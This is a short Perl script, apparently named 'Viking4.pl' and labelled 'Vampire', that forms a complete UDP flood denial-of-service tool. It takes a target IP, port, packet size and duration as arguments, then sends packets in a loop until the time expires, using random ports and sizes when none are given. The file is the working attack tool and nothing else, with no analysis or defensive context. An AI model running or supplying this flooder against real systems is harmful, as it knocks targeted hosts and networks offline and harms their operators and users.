Viking4.pl

#!/usr/bin/perl
 
##
# Vampire
##
 
use Socket;
use strict;
 
my ($ip,$port,$size,$time) = @ARGV;
 
my ($iaddr,$endtime,$psize,$pport);
 
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);
 
print "MaSS Flooding $ip " . ($port ? $port : "random") . " with " .
  ($size ? "$size byte" : "Offline") . "Packets " .
  ($time ? "for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
 
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;
 
  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}